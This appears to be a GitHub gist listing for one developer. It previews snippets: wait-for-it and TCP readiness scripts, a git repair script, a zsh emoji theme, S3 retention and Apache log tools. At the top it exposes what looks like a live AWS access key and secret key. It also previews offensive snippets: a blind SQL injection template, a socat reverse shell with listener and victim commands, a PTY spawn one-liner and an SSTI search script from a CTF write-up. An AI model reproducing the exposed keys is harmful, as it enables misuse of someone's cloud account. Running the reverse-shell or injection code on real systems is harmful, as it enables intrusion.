Skip to content

Instantly share code, notes, and snippets.

View rhamaa's full-sized avatar
🏠
Working from home

Muh. Fani Akbar rhamaa

🏠
Working from home
View GitHub Profile
export AWS_ACCESS_KEY_ID=AKIAV4VAJD54YV77UM5R
export AWS_SECRET_ACCESS_KEY=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
export AWS_REGION=us-east-2
@rhamaa
rhamaa / wait-for-it.sh
Created March 27, 2022 09:17
Script to wait for the rabbitmq service to get READY
#!/bin/sh
# wait-for-it.sh
# Script to wait for the rabbitmq service to get READY
# Usage : ./wait-for-it.sh <HOST> <PORT>
# set -e
host="$1"
port="$2"
@rhamaa
rhamaa / git_fix.sh
Created December 28, 2021 06:23
fatal: loose object X (stored in .git/objects/82/X) is corrupt
#! /bin/sh
# TAKEN FROM stackoverflow, but i forgot its source
# Save Git data
cp -r .git gitold
# Remove all empty Git object files
find .git -type f -empty -delete -print
@rhamaa
rhamaa / emojiparty.zsh-theme
Created December 14, 2021 05:16 — forked from brennv/emojiparty.zsh-theme
An emoji happy oh-my-zsh theme: a blend of random-emoji and terminalparty
# emojiparty: a blend of random-emoji and terminalparty
PROMPT_EMOJI=(🐶 🐱 🐭 🐹 🐰 🐻 🐼 🐨 🐯 🦁 🐮 🐷 🐽 🐵 🙈 🙉 🙊 🐒 🐔 🐧 \
🐦 🐤 🐣 🐥 🐺 🐗 🐴 🦄 🐝 🐛 🐌 🐜 🕷 🦂 🐠 🐟 🐡 🐬 🐳 🐋 🐆 🐅 🐃 🐂 \
🐄 🐪 🐫 🐘 🐐 🐏 🐑 🐎 🐖 🐀 🐁 🐓 🦃 🕊 🐕 🐩 🐈 🐇 🐿 🎋 🍂 🌾 🌺 \
🌻 🌷 🌼 🌸 💐 🌰 🎃 🐚 🕸 🚕 🚙 🚌 🚎 🚓 🚑 🚐 🚚 🚜 🏍 🚲 🚔 🚍 🚘 🚖 \
🚡 🚟 🚃 🚋 🚅 🚈 🚞 🚆 🚇 🚊 🚉 🚁 🛩 🛫 🛬 ⛵️ 🛥 🚤 ⛴ 🛳 🚀 🛰 💺 🚧 \
😀 😬 😁 😃 😄 😅 😆 😇 😉 😊 🙂 🙃 😋 😌 😍 😘 😗 😙 😚 😜 😝 😛 🤑 🤓 \
😎 🤗 😏 😶 😐 😑 😒 🙄 🤔 😳 😞 😟 😠 😔 😕 🙁 😣 😖 😯 😦 😧 😵 😲 🤐 \
😷 🤒 🤕 😴 💤 💀 👽 🤖 😺 😸 😻 😼 😽 😾 ⚽️ 🏀 🏈 🏐 🏉 🎱 🏌 🏸 🏒 🏑 \
@rhamaa
rhamaa / wait_for_tcp_socket_ready.sh
Created November 18, 2021 04:16
Waiting for TCP connection is up using simple bash script
#!/bin/sh
# source : https://github.com/aanand/docker-wait/blob/master/wait
set -e
host=$(env | grep _TCP_ADDR | cut -d = -f 2)
port=$(env | grep _TCP_PORT | cut -d = -f 2)
echo -n "waiting for TCP connection to $host:$port..."
@rhamaa
rhamaa / sqli_exp_binary_search_string.py
Created July 11, 2021 13:12 — forked from waderwu/sqli_exp_binary_search_string.py
sqli blind binary search template
#!/usr/bin/env python3
import requests
client = requests.Session()
debug = False
def post(url, data, headers=None, proxy=False):
if not headers:
headers = {}
headers['User-Agent'] = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36'
@rhamaa
rhamaa / retention_delete_s3.sh
Created June 15, 2021 08:21
Retention delete bash script S3
# Source : https://stackoverflow.com/questions/50467698/how-to-delete-files-older-than-7-days-in-s3
aws s3 ls BUCKETNAME/ | while read -r line;
do
createDate=`echo $line|awk {'print $1" "$2'}`
createDate=`date -d"$createDate" +%s`
olderThan=`date --date "7 days ago" +%s`
if [[ $createDate -lt $olderThan ]]
then
fileName=`echo $line|awk {'print $4'}`
@rhamaa
rhamaa / apache2_logs_parse.py
Created May 13, 2021 14:06
read apache logs using pandas
# Source : https://mmas.github.io/read-apache-access-log-pandas
# https://mmas.github.io/analyze-apache-access-log-pandas
import re
import pandas as pd
from datetime import datetime
import pytz
from IPython import embed
@rhamaa
rhamaa / pet-snippet.toml
Last active April 19, 2024 00:13
description
[[snippets]]
description = "Python PTY Bash"
command = "python -c 'import pty; pty.spawn(\"/bin/bash\")'"
output = "\"\""
[[snippets]]
description = "[Reverse Shell] Socat Reverse Shell"
command = "socat file:`tty`,raw,echo=0 tcp-listen:<PORT=4444> #Listener socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:<HOST>:<PORT=4444> #Victim"
output = "\"\""
@rhamaa
rhamaa / search.py
Created July 9, 2019 03:26
SSTI Search
# search.py
# Source https://ctftime.org/writeup/10851
def search(obj, max_depth):
visited_clss = []
visited_objs = []
def visit(obj, path='obj', depth=0):
yield path, obj